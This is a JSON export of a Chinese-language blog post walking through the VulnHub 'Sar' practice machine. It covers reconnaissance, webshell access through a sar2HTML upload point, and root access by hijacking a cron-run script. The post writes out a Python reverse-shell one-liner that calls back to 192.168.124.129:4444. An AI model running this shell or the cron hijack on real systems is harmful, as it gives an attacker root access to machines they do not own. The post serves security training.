{"id":1311,"date":"2022-10-08T20:51:54","date_gmt":"2022-10-08T12:51:54","guid":{"rendered":"https:\/\/axinyi.xuenixiang.com\/?p=1311"},"modified":"2022-10-08T20:51:55","modified_gmt":"2022-10-08T12:51:55","slug":"vulnhub%e9%9d%b6%e6%9c%ba-sar","status":"publish","type":"post","link":"https:\/\/axinyi.xuenixiang.com\/index.php\/2022\/10\/08\/vulnhub%e9%9d%b6%e6%9c%ba-sar\/","title":{"rendered":"VulnHub\u9776\u673a | Sar"},"content":{"rendered":"\n<pre class=\"wp-block-verse has-black-color has-text-color has-background\" style=\"background:linear-gradient(90deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%)\">\u201c\u7eb8\u4e0a\u5f97\u6765\u7ec8\u89c9\u6d45\uff0c\u7edd\u77e5\u6b64\u4e8b\u8981\u8eac\u884c\u201d<\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u9879\u76ee\u5730\u5740\nhttps:&#47;&#47;download.vulnhub.com\/sar\/sar.zip<\/code><\/pre>\n\n\n\n<h2>\u590d\u73b0\u8fc7\u7a0b<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-8.png\" alt=\"\" class=\"wp-image-1313\" width=\"840\" height=\"630\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-8.png 800w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-8-300x225.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-8-768x576.png 768w\" sizes=\"(max-width: 840px) 100vw, 840px\" \/><\/figure>\n\n\n\n<h3>\u4e3b\u673a\u53d1\u73b0<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-7.png\" alt=\"\" class=\"wp-image-1312\" width=\"839\" height=\"59\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-7.png 599w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-7-300x21.png 300w\" sizes=\"(max-width: 839px) 100vw, 839px\" \/><\/figure>\n\n\n\n<h3>\u7aef\u53e3\u63a2\u6d4b<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-9.png\" alt=\"\" class=\"wp-image-1314\" width=\"840\" height=\"316\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-9.png 774w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-9-300x113.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-9-768x289.png 768w\" sizes=\"(max-width: 840px) 100vw, 840px\" \/><\/figure>\n\n\n\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-10.png\" alt=\"\" class=\"wp-image-1315\" width=\"838\" height=\"776\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-10.png 582w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-10-300x278.png 300w\" sizes=\"(max-width: 838px) 100vw, 838px\" \/><\/figure>\n\n\n\n<ul><li>\u8bbf\u95eerobots.txt\u6587\u4ef6<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-11.png\" alt=\"\" class=\"wp-image-1316\" width=\"841\" height=\"257\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-11.png 700w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-11-300x92.png 300w\" sizes=\"(max-width: 841px) 100vw, 841px\" \/><\/figure>\n\n\n\n<ul><li>\u8bbf\u95eesar2HTML<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-12-1024x549.png\" alt=\"\" class=\"wp-image-1317\" width=\"841\" height=\"451\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-12-1024x549.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-12-300x161.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-12-768x412.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-12.png 1177w\" sizes=\"(max-width: 841px) 100vw, 841px\" \/><\/figure>\n\n\n\n<ul><li>\u70b9\u51fbNew\u53d1\u73b0\u4e0a\u4f20\u70b9\uff0c\u641c\u7d22sar2HTML\u53d1\u73b0\u6709\u9ed8\u8ba4\u4e0a\u4f20\u8def\u5f84\uff0c\u4f7f\u7528\u4e2d\u56fd\u8681\u5251\u8fde\u63a5<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-13.png\" alt=\"\" class=\"wp-image-1318\" width=\"841\" height=\"187\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-13.png 992w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-13-300x67.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-13-768x172.png 768w\" sizes=\"(max-width: 841px) 100vw, 841px\" \/><\/figure>\n\n\n\n<h3>\u63d0\u6743<\/h3>\n\n\n\n<ul><li>\u62ff\u5230shell\u540e\u9996\u5148\u5c1d\u8bd5\u4e86suid\u63d0\u6743\uff0c\u5185\u6838\u63d0\u6743\uff0c\u4f46\u662f\u6ca1\u6709\u6210\u529f\uff01\u5230\u5bb6\u76ee\u5f55\u91cc\u9762\u4e5f\u6ca1\u6709\u53d1\u73b0\u7279\u6b8a\u6587\u4ef6\uff0c\u7136\u540e\u5230\u7f51\u7ad9\u7684\u6839\u76ee\u5f55\u4e0b\u5bfb\u627e\u7279\u6b8a\u6587\u4ef6\u3002<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-14.png\" alt=\"\" class=\"wp-image-1319\" width=\"839\" height=\"254\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-14.png 618w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-14-300x91.png 300w\" sizes=\"(max-width: 839px) 100vw, 839px\" \/><\/figure>\n\n\n\n<ul><li>\u53d1\u73b0\u4e86\u4e24\u4e2a\u7279\u6b8a\u6587\u4ef6 \uff1a<code>finally.sh<\/code>\u8fd9\u4e2a\u6587\u4ef6\u5c5e\u4e8eroot\uff0c<code>write.sh<\/code>\u8fd9\u4e2a\u6587\u4ef6\u5177\u6709777\u6743\u9650\u3002\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e24\u4e2a\u6587\u4ef6\u91cc\u9762\u7684\u5185\u5bb9\u3002<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-15.png\" alt=\"\" class=\"wp-image-1320\" width=\"840\" height=\"218\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-15.png 569w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-15-300x78.png 300w\" sizes=\"(max-width: 840px) 100vw, 840px\" \/><\/figure>\n\n\n\n<ul><li>\u53d1\u73b0finally.sh\u91cc\u7684\u5185\u5bb9\u5c31\u662f\u6267\u884cwrite.sh\u6587\u4ef6\uff0cwrite.sh\u6587\u4ef6\u7684\u4f5c\u7528\u5c31\u662f\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6\/tmp\/gateway\u3002\u7531\u6b64\u60f3\u5230\u4e86\u8ba1\u5212\u4efb\u52a1\u63d0\u6743\uff0c\u67e5\u770b\u4e00\u4e0b \u5b9a\u65f6\u4efb\u52a1\u7684\u914d\u7f6e\u6587\u4ef6\/etc\/crontab<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-16.png\" alt=\"\" class=\"wp-image-1321\" width=\"842\" height=\"268\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-16.png 986w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-16-300x96.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-16-768x245.png 768w\" sizes=\"(max-width: 842px) 100vw, 842px\" \/><\/figure>\n\n\n\n<ul><li>\u53d1\u73b0\u5b9a\u65f6\u8ba1\u5212\u4e2d\u6709finally.sh\uff0c\u7cfb\u7edf\u4f1a\u6bcf\u4e94\u5206\u949f\u5c31\u4ee5root\u6743\u9650\u6267\u884cfinally.sh\u3002\u73b0\u5728\u5c06\u53cd\u5f39shell\u7684\u4ee3\u7801\u5199\u5165write.sh\u4e2d\u3002<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.124.129\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(&#91;\"\/bin\/sh\",\"-i\"]);' >> write.sh\r<\/code><\/pre>\n\n\n\n<h3>\u63d0\u6743\u6210\u529f<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-17.png\" alt=\"\" class=\"wp-image-1322\" width=\"839\" height=\"346\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-17.png 620w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2022\/10\/image-17-300x124.png 300w\" sizes=\"(max-width: 839px) 100vw, 839px\" \/><\/figure>\n\n\n\n<p><div class=\"has-toc have-toc\"><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u201c\u7eb8\u4e0a\u5f97\u6765\u7ec8\u89c9\u6d45\uff0c\u7edd\u77e5\u6b64\u4e8b\u8981\u8eac\u884c\u201d \u590d\u73b0\u8fc7\u7a0b \u4e3b\u673a\u53d1\u73b0 \u7aef\u53e3\u63a2\u6d4b \u76ee\u5f55\u626b\u63cf \u8bbf\u95eerobots.txt\u6587\u4ef6 \u8bbf\u95eesar2HTML \u70b9 &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[17],"tags":[],"_links":{"self":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/1311"}],"collection":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/comments?post=1311"}],"version-history":[{"count":1,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/1311\/revisions"}],"predecessor-version":[{"id":1323,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/1311\/revisions\/1323"}],"wp:attachment":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/media?parent=1311"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/categories?post=1311"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/tags?post=1311"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}